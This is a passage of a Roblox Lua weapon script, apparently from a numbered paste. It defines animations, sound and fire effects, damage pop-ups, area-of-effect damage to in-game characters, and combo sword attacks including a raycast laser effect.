  7900. function bs(parent,p) --Boom Sound
  7901. local SlashSound = Instance.new("Sound")
  7902. SlashSound.SoundId = "rbxasset://sounds/Rocket shot.wav"
  7903. SlashSound.Parent = parent
  7904. SlashSound.Volume = .7
  7905. SlashSound.Pitch = p
  7906. SlashSound.PlayOnRemove = true
  7907. coroutine.resume(coroutine.create(function()
  7908. wait()
  7909. SlashSound.Parent = nil
  7910. end))
  7911. end
  7912. --
  7913.  
  7914.  
  7915. function hideanim()
  7916. attack = true
  7917.  for i = 0 , 1 , 0.2 do
  7918.                 wait()
  7919.   RW.C0 = CFrame.new(1+0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+67*i), math.rad(45), math.rad(-45+90*i))
  7920.   LW.C0 = CFrame.new(-1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-80*i),math.rad(-45+45*i),math.rad(45-45*i))
  7921.         end
  7922.   LWRem()
  7923.  for i = 0 , 1 , 0.15 do
  7924.                 wait()
  7925.   RW.C0 = CFrame.new(1.5,0.5+0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(147+103*i), math.rad(45), math.rad(45-35*i))
  7926.         end  
  7927.   unequipweld()
  7928.  wait(0.1)
  7929.  for i = 0 , 1 , 0.1 do
  7930.                 wait()
  7931.   RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(250-250*i), math.rad(45-45*i), math.rad(10-10*i))
  7932.         end  
  7933.   RWRem()
  7934. attack = false
  7935. end
  7936.  
  7937. function equipanim()
  7938. attack = true
  7939. RWFunc()
  7940.  for i = 0 , 1 , 0.1 do
  7941.                 wait()
  7942.   RW.C0 = CFrame.new(1.5,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(250*i), math.rad(45*i), math.rad(-10*i))
  7943.         end
  7944.   equipweld()
  7945.  uss(Head,1)
  7946.  for i = 0 , 1 , 0.2 do
  7947.                 wait()
  7948.   RW.C0 = CFrame.new(1.5,0.5+0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(250-102.5*i), math.rad(45), math.rad(-10+27.5*i))
  7949.         end  
  7950.  for i = 0 , 1 , 0.15 do
  7951.                 wait()
  7952.   RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(147-67*i), math.rad(45), math.rad(17.5+27.5*i))
  7953.         end  
  7954.  LWFunc()
  7955.  for i = 0 , 1 , 0.1 do
  7956.                 wait()
  7957.   RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(45-90*i))
  7958.   LW.C0 = CFrame.new(-1.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(-45*i),math.rad(45*i))
  7959.         end
  7960. attack = false
  7961. end
  7962.  
  7963. if (script.Parent.className ~= "HopperBin") then
  7964. Tool = Instance.new("HopperBin")
  7965. Tool.Parent = Backpack
  7966. Tool.Name = ToolName
  7967. script.Parent = Tool
  7968. end
  7969. Bin = script.Parent
  7970.  
  7971. function damagesplat(dmg,hit,critornot,healornot)
  7972. local OffsetX = -2.5
  7973. local OffsetY = 5
  7974. local OffsetZ = 0
  7975. local bill = Instance.new("BillboardGui")
  7976. bill.Size = UDim2.new(1,0,1,0)
  7977. bill.Adornee = hit
  7978. bill.StudsOffset = Vector3.new(OffsetX,OffsetY,OffsetZ)
  7979. bill.Parent = hit.Parent
  7980. bill.Name = "DamageSplat"
  7981. local tex = Instance.new("TextLabel")
  7982. tex.Size = UDim2.new(5,0,2.5,0)
  7983. tex.Parent = bill
  7984. tex.Text = dmg
  7985. tex.BackgroundTransparency = 1
  7986. tex.ZIndex = 4
  7987. tex.FontSize = "Size24"
  7988. local tex2 = Instance.new("ImageLabel")
  7989. tex2.Size = UDim2.new(1,0,1,0)
  7990. tex2.Parent = tex
  7991. tex2.BackgroundTransparency = 1
  7992. tex2.Image = "http://www.roblox.com/asset/?id=42611276"
  7993. if critornot == true then
  7994. tex.TextColor3 = Color3.new(1,0.2,0.2)
  7995. elseif critornot == false then
  7996. tex.TextColor3 = Color3.new(0,0,0)
  7997. end
  7998. if healornot == true then
  7999. tex.TextColor3 = Color3.new(0.2,0.5,0.5)
  8000. end
  8001. coroutine.resume(coroutine.create(function()
  8002. wait(0.25)
  8003. for i = 0 , 1 , 0.075 do
  8004. wait()
  8005. bill.StudsOffset = Vector3.new(OffsetX,OffsetY+5*i,OffsetZ)
  8006. tex.TextTransparency = 1*i
  8007. end
  8008. bill.Parent = nil
  8009. end))
  8010. end
  8011. function FireEff(Part,Time,Color1,Color2,Color3)
  8012. local Firee = Part
  8013. local Spawn = Part
  8014. local colors = {}
  8015. if Color1 ~= nil then
  8016. table.insert(colors,BrickColor.new(Color1))
  8017. end
  8018. if Color2 ~= nil then
  8019. table.insert(colors,BrickColor.new(Color2))
  8020. end
  8021. if Color3 ~= nil then
  8022. table.insert(colors,BrickColor.new(Color3))
  8023. end
  8024. if Color4 ~= nil then
  8025. table.insert(colors,BrickColor.new(Color4))
  8026. end
  8027. local Embers = {}
  8028. local modelz = Instance.new("Model",Firee)
  8029. modelz.Name = "FireHolder"
  8030. for X = 1, 3 do
  8031. local f = Instance.new("Part")
  8032. f.Parent = nil
  8033. f.BrickColor = colors[math.random(1, # colors)]
  8034. f.Size = Vector3.new(1,1,1)
  8035. f.formFactor = 1
  8036. f.Anchored = true
  8037. f.Locked = true
  8038. f.CanCollide = false
  8039. f.Transparency = 0.5
  8040. f.Name = "Fire"
  8041. f.TopSurface = 0
  8042. f.BottomSurface = 0
  8043. table.insert(Embers, f)
  8044. end
  8045. local R = 0
  8046. coroutine.resume(coroutine.create(function ()
  8047. repeat
  8048. wait()
  8049. R = R + 1
  8050. for X = 1, # Embers do
  8051. Embers[X].Parent = modelz
  8052. local FM = math.fmod(R + X, # Embers)
  8053. if FM == 1 then
  8054. RandPos = Vector3.new(math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10, Spawn.Size.y / 2, math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10)
  8055. RandDir = Vector3.new(math.random(-100,100), math.random(-100,100), math.random(-100,100))
  8056. Embers[X].CFrame = CFrame.new(Spawn.Position + RandPos, Spawn.Position + RandPos + RandDir)
  8057. else
  8058. Embers[X].CFrame = CFrame.new(Embers[X].Position + Vector3.new(0,0.5,0), Embers[X].Position + Vector3.new(0,0.5,0) + Embers[X].CFrame.lookVector)
  8059. end
  8060. end
  8061. until R == Time
  8062. for i = 0 ,1 , 0.1 do
  8063. wait(0.2)
  8064. for X = 1, # Embers do
  8065. Embers[X].Transparency = 0.5+0.5*i
  8066. end
  8067. end
  8068. for X = 1, # Embers do
  8069. Embers[X].Parent = nil
  8070. end
  8071. end))
  8072. end
  8073.  
  8074. function OT(hit) --Normal Damage
  8075. if Hitdeb == 1 then return end
  8076. if hit.Parent == nil then return end
  8077. local hum = hit.Parent:findFirstChild("Humanoid")
  8078. if hum ~= nil and hum ~= Character.Humanoid then
  8079. local critrandomizer = math.random(1,crtrate)
  8080. if critrandomizer ~= 1 then
  8081. local rndmdamage = math.random(mindamage,maxdamage)
  8082. damagesplat(rndmdamage,hit,false)
  8083. hum:TakeDamage(rndmdamage)
  8084. elseif critrandomizer == 1 then
  8085. local rndmdamage = math.random(maxdamage,crtmaxdamage)
  8086. damagesplat(rndmdamage,hit,true)
  8087. hum:TakeDamage(rndmdamage)
  8088. end
  8089. Hitdeb = 1
  8090. end
  8091. end
  8092.  
  8093. function OTND(part) --No Debounce Damage
  8094. coroutine.resume(coroutine.create(function()
  8095. local dd = false
  8096. while part.Parent ~= nil and not dd do
  8097. wait()
  8098. local c = game.Workspace:GetChildren();
  8099. for i = 1, #c do
  8100. local hum = c[i]:findFirstChild("Humanoid")
  8101. if hum ~= nil and hum.Health ~= 0 then
  8102. local head = c[i]:findFirstChild("Torso");
  8103. if head ~= nil then
  8104. local targ = head.Position - part.Position;                                              ------------------------------------------------Local
  8105. local mag = targ.magnitude;
  8106. if mag <= 5 and c[i].Name ~= Player.Name then
  8107. dd = true
  8108. local rndmdamage = math.random(1,7+5*math.random()) + fireboost
  8109. damagesplat(rndmdamage,head,false)
  8110. hum:TakeDamage(rndmdamage)
  8111. FireEff(head,150,"Bright red","Bright orange","Cool yellow")
  8112. part.Parent = nil
  8113.  
  8114. end
  8115. end
  8116. end
  8117. end
  8118. end
  8119. end))
  8120. end
  8121.  
  8122. function AoE(p,magnitude,damage,critornot)
  8123.  local c = game.Workspace:GetChildren();
  8124.  for i = 1, #c do
  8125.                 local hum = c[i]:findFirstChild("Humanoid")
  8126.                 if hum ~= nil and hum.Health ~= 0 then
  8127.   local head = c[i]:findFirstChild("Head");
  8128.                 if head ~= nil then
  8129.   local targ = head.Position - p;
  8130.   local mag = targ.magnitude;
  8131.   if mag <= magnitude and c[i].Name ~= Character.Name then
  8132.   local foundd = false
  8133.   for ii = 1 , #AoETrue do
  8134.   if AoETrue[ii] == c[i].Name then
  8135.   --delay(1,function() table.remove(AoETrue,ii) end)
  8136.   --blast(2.5,0.5,"Bright red",prt2,false)
  8137.   foundd = true
  8138.   end
  8139.   end
  8140.   if foundd then
  8141.   end
  8142.   --
  8143.   if not foundd then
  8144.   hum:TakeDamage(damage)
  8145.   damagesplat(damage,head,critornot)
  8146.   table.insert(AoETrue,c[i].Name)
  8147.   --blast(2.5,0.5,"Bright red",prt2)
  8148.   end
  8149.   end
  8150.   end
  8151.                 end
  8152.  end
  8153. end
  8154. function AoEP(p,magnitude,damage,critornot)
  8155.  local c = game.Workspace:GetChildren();
  8156.  for i = 1, #c do
  8157.                 local hum = c[i]:findFirstChild("Humanoid")
  8158.                 if hum ~= nil and hum.Health ~= 0 then
  8159.   local head = c[i]:findFirstChild("Head");
  8160.                 if head ~= nil then
  8161.   local targ = head.Position - p;
  8162.   local mag = targ.magnitude;
  8163.   if mag <= magnitude and c[i].Name ~= Character.Name then
  8164.   local foundd = false
  8165.   for ii = 1 , #AoETrue do
  8166.   if AoETrue[ii] == c[i].Name then
  8167.   --delay(1,function() table.remove(AoETrue,ii) end)
  8168.   --blast(2.5,0.5,"Bright red",prt2,false)
  8169.   foundd = true
  8170.   end
  8171.   end
  8172.   if foundd then
  8173.   end
  8174.   --
  8175.   if not foundd then
  8176.   hum:TakeDamage(damage)
  8177.   damagesplat(damage,head,critornot)
  8178.   c[i].Humanoid.Sit = true
  8179.   coroutine.resume(coroutine.create(function()
  8180. local bp = Instance.new("BodyVelocity",c[i].Torso)
  8181. bp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  8182. bp.P = bp.P*2
  8183. bp.velocity = CFrame.new(c[i].Torso.Position , p).lookVector * 150 + Vector3.new(0,25,0)
  8184. coroutine.resume(coroutine.create(function()
  8185. for i=1,
  8186. bp.velocity.y/3 do
  8187. bp.velocity = bp.velocity+Vector3.new(0,-4.25,0)
  8188. wait()
  8189. end  
  8190. bp.Parent = nil  
  8191. end))
  8192. c[i].Torso.RotVelocity = CFrame.new(c[i].Torso.Position , p).lookVector * 25
  8193. wait(0.4) c[i].Humanoid.Sit = false end))
  8194.   table.insert(AoETrue,c[i].Name)
  8195.   end
  8196.   end
  8197.   end
  8198.                 end
  8199.  end
  8200. end
  8201. --
  8202.  
  8203. local LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8204. function effect(Color,Ref,LP,P1,returnn)
  8205. local effectsmsh = Instance.new("BlockMesh")
  8206. effectsmsh.Scale = Vector3.new(0.5,1,0.5)
  8207. effectsmsh.Name = "Mesh"
  8208. local effectsg = Instance.new("Part")
  8209. effectsg.formFactor = 3
  8210. effectsg.CanCollide = false
  8211. effectsg.Name = "Eff"
  8212. effectsg.Locked = true
  8213. effectsg.Anchored = true
  8214. effectsg.Size = Vector3.new(0.2,1,0.2)
  8215. effectsg.Parent = swordholder
  8216. effectsmsh.Parent = effectsg
  8217. effectsg.BrickColor = BrickColor.new(Color)
  8218. effectsg.Reflectance = Ref
  8219. local point1 = P1
  8220. local mg = (LP.p - point1.p).magnitude
  8221. effectsg.Size = Vector3.new(0.2,mg,0.2)
  8222. effectsg.CFrame = CFrame.new((LP.p+point1.p)/2,point1.p) * CFrame.Angles(math.rad(90),0,0)
  8223. if returnn then return effectsg end
  8224. coroutine.resume(coroutine.create(function()
  8225. if not returnn then
  8226. for i = 0 , 1 , 0.1 do
  8227. wait()
  8228. effectsg.Transparency = 1*i
  8229. end
  8230. wait()
  8231. effectsg.Parent = nil
  8232. end
  8233. end))
  8234. end
  8235.  
  8236. con = nil
  8237. function dmgcnnct(p)
  8238. con = p.Touched:connect(OT)
  8239. end
  8240. function dmgdc()
  8241. if con ~= nil then
  8242. con:disconnect()
  8243. Hitdeb = 0
  8244. end
  8245. end
  8246. function atktype(s,e)
  8247. coroutine.resume(coroutine.create(function ()
  8248. attacktype = e
  8249. wait(0.5)
  8250. repeat wait() until attack
  8251. attacktype = s
  8252. end))
  8253. end
  8254.  
  8255. hold = false
  8256. function Combo1a()
  8257. attack=true
  8258.  for i = 0 , 1 , 0.1 do
  8259.                 wait()
  8260.   RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45+45*i), math.rad(-45+45*i))
  8261.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45*i), math.rad(10*i), math.rad(0))
  8262.   LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i),math.rad(-45+45*i),math.rad(45-20*i))
  8263.     end
  8264.  dmgcnnct(hitbox)
  8265.  ss(Head,1.5)
  8266.  for i = 0 , 1 , 0.2 do
  8267.  LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8268.                 wait()
  8269.   RW.C0 = CFrame.new(0.5+1*i,0.5,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0))
  8270.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i), math.rad(10+35*i), math.rad(0))
  8271.   LW.C0 = CFrame.new(-1+1*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(25+65*i))
  8272.   effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8273.     end
  8274.  dmgdc()
  8275.  for i = 0 , 1 , 0.2 do
  8276.   LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8277.                 wait()
  8278.   RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0))
  8279.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+20*i), math.rad(45+5*i), math.rad(0))
  8280.   LW.C0 = CFrame.new(-0.25*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(90+10*i))
  8281.   effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8282.     end
  8283.  attacktype = 2
  8284.  coroutine.resume(coroutine.create(function ()
  8285.  wait(0.25)
  8286.  attacktype = 1
  8287.  end))
  8288.  attack=false
  8289.  wait(0.15)
  8290.  wait()
  8291.  for i = 0 , 1 , 0.1 do
  8292.  if not attack then
  8293.                 wait()
  8294.   RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(90-45*i), math.rad(-45*i))
  8295.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-110*i), math.rad(50-50*i), math.rad(0))
  8296.   LW.C0 = CFrame.new(-0.25-0.75*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45*i),math.rad(100-55*i))
  8297.  end
  8298.     end
  8299.  
  8300. end
  8301. function Combo1b()
  8302. attack=true
  8303.  for i = 0 , 1 , 0.1 do
  8304.                 wait()
  8305.   RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0))
  8306.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-155*i), math.rad(50-40*i), math.rad(0))
  8307.   LW.C0 = CFrame.new(-0.25-0.75*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(100-50*i))
  8308.     end
  8309.  
  8310. cs(Head,1.5)
  8311. local tempmod = Instance.new("Model",swordholder)
  8312. for l = 1 , 20 do
  8313. local meshz = Instance.new("SpecialMesh")
  8314. meshz.Scale = Vector3.new(0.5,0.5,0.5)
  8315. meshz.MeshType = "Sphere"
  8316. local shellz = Instance.new("Part")
  8317. meshz.Parent = shellz
  8318. shellz.Anchored = false
  8319. shellz.formFactor = 0
  8320. shellz.Size = Vector3.new(1,1,1)
  8321. shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))
  8322. shellz.Parent = tempmod
  8323. shellz.Transparency = 0.5
  8324. shellz.BrickColor = BrickColor.new("Bright violet")
  8325. shellz.CanCollide = false
  8326. shellz.Reflectance = 0.25
  8327. local bv = Instance.new("BodyPosition")
  8328. bv.Parent = shellz
  8329. bv.maxForce = Vector3.new(200000,200000,200000)
  8330. bv.position = shellz.Position
  8331. coroutine.resume(coroutine.create(function()
  8332. for i = 0 , 1 , 0.025 do
  8333. wait()
  8334. shellz.Transparency = 1-1*i
  8335. end
  8336. shellz.Transparency = 0
  8337. end))
  8338. coroutine.resume(coroutine.create(function()
  8339. wait(0.05)
  8340. bv.position = hitbox.Position
  8341. for i = 1 , 20 do
  8342. wait(0.1)
  8343. bv.position = shell.Position
  8344. end
  8345. shellz.Parent = nil
  8346. end))
  8347. wait(0.01)
  8348. end
  8349. coroutine.resume(coroutine.create(function ()
  8350. wait(0.25)
  8351. tempmod.Parent = nil
  8352. end))
  8353.  for i = 0 , 1 , 0.2 do
  8354.   LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8355.                 wait()
  8356.   RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0))
  8357.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i), math.rad(10), math.rad(0))
  8358.   LW.C0 = CFrame.new(-1+1.5*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(50+40*i))
  8359.  effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8360.     end
  8361. local gyro = Instance.new("BodyGyro")
  8362. gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
  8363. gyro.P = gyro.P + 10000
  8364. local CF = Torso.CFrame
  8365. gyro.cframe = CF
  8366. gyro.Parent = Torso
  8367. dmgcnnct(hitbox)
  8368. ss(Head,1)
  8369.  for i = 0 , 1 , 0.1 do
  8370.  LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8371.  wait()
  8372.  gyro.cframe = CF * CFrame.Angles(0,math.rad(-360*i),0)
  8373.  effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8374.  end
  8375. ss(Head,1)
  8376. Hitdeb = 0
  8377.  for i = 0 , 1 , 0.1 do
  8378.  LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8379.  wait()
  8380.  gyro.cframe = CF * CFrame.Angles(0,math.rad(-360*i),0)
  8381.  effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8382.  end
  8383. dmgdc()
  8384.  attacktype = 3
  8385.  coroutine.resume(coroutine.create(function ()
  8386.  wait(0.5)
  8387.  attacktype = 1
  8388.  end))
  8389.  wait(0.15)
  8390.  wait()
  8391. gyro.Parent = nil
  8392.   attack=false
  8393.  for i = 0 , 1 , 0.1 do
  8394.  if not attack then
  8395.                 wait()
  8396.   RW.C0 = CFrame.new(0.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(90-45*i), math.rad(-45*i))
  8397.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-90*i), math.rad(10-10*i), math.rad(0))
  8398.   LW.C0 = CFrame.new(0.5-1.5*i,0.5,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45*i),math.rad(50-5*i))
  8399.  end
  8400.  end
  8401. end
  8402.  
  8403. function Combo1c()
  8404. attack=true
  8405. local bp = Instance.new("BodyPosition")
  8406. bp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  8407. bp.P = bp.P + 10000
  8408. local CF = Torso.CFrame
  8409. bp.position = CF.p
  8410. bp.Parent = Torso
  8411. RWLFunc()
  8412. LWLFunc()
  8413. for zz = 1 , 2  do
  8414. local mesh = Instance.new("SpecialMesh")
  8415. mesh.MeshType = "FileMesh"
  8416. mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
  8417. mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01)
  8418. local shell = Instance.new("Part")
  8419. mesh.Parent = shell
  8420. shell.Anchored = true
  8421. shell.formFactor = 1
  8422. shell.Size = Vector3.new(1,1,1)
  8423. shell.CFrame = Torso.CFrame * CFrame.Angles(0,0.5*zz,0) + Vector3.new(0,-2.5,0) -- + shellspawn.CFrame.lookVector * 2
  8424. shell.Parent = swordholder
  8425. shell.Transparency = 0
  8426. shell.BrickColor = BrickColor.new("White")
  8427. shell.CanCollide = false
  8428. coroutine.resume(coroutine.create(function()
  8429. for i = 0 , 1 , 0.05 do
  8430. wait()
  8431. mesh.Scale = Vector3.new(10,5,10) * Vector3.new(i,1,i)
  8432. shell.Transparency = 1*i
  8433. end
  8434. shell.Transparency = 1
  8435. shell.Parent = nil
  8436. end))
  8437. end
  8438.  for i = 0 , 1 , 0.1 do
  8439.  LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8440.  wait()
  8441.   RW.C0 = CFrame.new(0.5+0.5*i,0.5+1*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+100*i), math.rad(90-90*i), math.rad(-45*i))
  8442.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-90*i), math.rad(10-10*i), math.rad(0))
  8443.   LW.C0 = CFrame.new(0.5-1.5*i,0.5+1*i,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90+100*i),math.rad(0),math.rad(50-5*i))
  8444. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  8445. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2)
  8446.  bp.position = CF.p + Vector3.new(0,10,0)
  8447.  RWL.C0 = CFrame.new(1, -1, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-20*i), math.rad(0), math.rad(0))
  8448.  LWL.C0 = CFrame.new(-1, -1, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-20*i), math.rad(0), math.rad(0))
  8449.  prt8.Transparency = 1-1*i
  8450.  effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8451. end
  8452.  cs(Head,1.5)
  8453. coroutine.resume(coroutine.create(function ()
  8454. local tempmod = Instance.new("Model",swordholder)
  8455. for l = 1 , 20 do
  8456. local meshz = Instance.new("SpecialMesh")
  8457. meshz.Scale = Vector3.new(1.5,1.5,1.5)
  8458. meshz.MeshType = "Sphere"
  8459. local shellz = Instance.new("Part")
  8460. meshz.Parent = shellz
  8461. shellz.Anchored = false
  8462. shellz.formFactor = 0
  8463. shellz.Size = Vector3.new(1,1,1)
  8464. shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-15,15),math.random(-15,15),math.random(-15,15))
  8465. shellz.Parent = tempmod
  8466. shellz.Transparency = 0.5
  8467. shellz.BrickColor = BrickColor.new("Really black")
  8468. shellz.CanCollide = false
  8469. shellz.Reflectance = 0
  8470. local bv = Instance.new("BodyPosition")
  8471. bv.Parent = shellz
  8472. bv.maxForce = Vector3.new(200000,200000,200000)
  8473. bv.position = shellz.Position
  8474. local hx = false
  8475. coroutine.resume(coroutine.create(function()
  8476. for i = 0 , 1 , 0.05 do
  8477. wait()
  8478. shellz.Transparency = 1-1*i
  8479. end
  8480. shellz.Transparency = 0
  8481. end))
  8482. coroutine.resume(coroutine.create(function()
  8483. wait(0.05)
  8484. bv.position = hitbox.Position
  8485. for i = 1 , 20 do
  8486. wait(0.1)
  8487. bv.position = shell.Position
  8488. end
  8489. shellz.Parent = nil
  8490. end))
  8491. wait(0.01)
  8492. end
  8493. coroutine.resume(coroutine.create(function ()
  8494. repeat wait() until hx
  8495. tempmod.Parent = nil
  8496. end))
  8497. end))
  8498.  for i = 0 , 1 , 0.1 do
  8499.  LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8500.  wait()
  8501.   RW.C0 = CFrame.new(1,1.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(190+20*i), math.rad(0), math.rad(-45))
  8502.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8503.   LW.C0 = CFrame.new(-1,1.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(190+20*i),math.rad(0),math.rad(45))
  8504.   effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8505.  end
  8506.  for i = 0 , 1 , 0.1 do
  8507.  LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)
  8508.  wait()
  8509.   RW.C0 = CFrame.new(1,1.5-1*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(210-130*i), math.rad(0), math.rad(-45))
  8510.   RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  8511.   LW.C0 = CFrame.new(-1,1.5-1*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(210-130*i),math.rad(0),math.rad(45))
  8512. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  8513. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(45)) * CFrame.new(0, 0, 0.2)
  8514.  bp.position = CF.p + CF.lookVector * 2.5 + Vector3.new(0,-1,0)
  8515.  RWL.C0 = CFrame.new(1, -1+1*i, -1*i) * CFrame.fromEulerAnglesXYZ(math.rad(-20+20*i), math.rad(0), math.rad(0))
  8516.  LWL.C0 = CFrame.new(-1, -1+1*i, -1*i) * CFrame.fromEulerAnglesXYZ(math.rad(-20+20*i), math.rad(0), math.rad(0))
  8517.   effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
  8518.  end
  8519.  hx = true
  8520.  wait(0.1)
  8521. local Hit,A, B = Raycast(hitbox.Position + Vector3.new(0,3,0) + Torso.CFrame.lookVector * 1 ,hitbox.Position + Vector3.new(0,3,0) + Torso.CFrame.lookVector * 101 ,100)
  8522. local effectsmsh = Instance.new("CylinderMesh")
  8523. effectsmsh.Scale = Vector3.new(1,1,1)
  8524. local effectsg = Instance.new("Part")
  8525. effectsg.formFactor = 3
  8526. effectsg.CanCollide = false
  8527. effectsg.Name = "LAZOR"
  8528. effectsg.Locked = true
  8529. effectsg.Anchored = true
  8530. effectsg.Parent = swordholder
  8531. effectsmsh.Parent = effectsg
  8532. effectsg.BrickColor = BrickColor.new("Black")
  8533. effectsg.Reflectance = 0.5
  8534. local point1 = B
  8535. local point0 = A
  8536. for zz = 1 , 5  do
  8537. local mesh = Instance.new("SpecialMesh")
  8538. mesh.MeshType = "FileMesh"
  8539. mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
  8540. mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01)
  8541. local shell = Instance.new("Part")
  8542. mesh.Parent = shell
  8543. shell.Anchored = true
  8544. shell.formFactor = 1
  8545. shell.Size = Vector3.new(1,1,1)
  8546. shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * 2
  8547. shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0.5*zz,0)
  8548. shell.Parent = swordholder
  8549. shell.Transparency = 0
  8550. if math.fmod(zz,2) == 0 then
  8551. shell.BrickColor = BrickColor.new("Really black")
  8552. else
  8553. shell.BrickColor = BrickColor.new("Bright violet")
  8554. end
  8555. shell.CanCollide = false
  8556. coroutine.resume(coroutine.create(function()
  8557. for i = 0 , 1 , 0.01 do
  8558. wait()
  8559. mesh.Scale = Vector3.new(10,5,10) * Vector3.new(i,1,i)
  8560. shell.Transparency = 1*i
  8561. end
  8562. shell.Transparency = 1
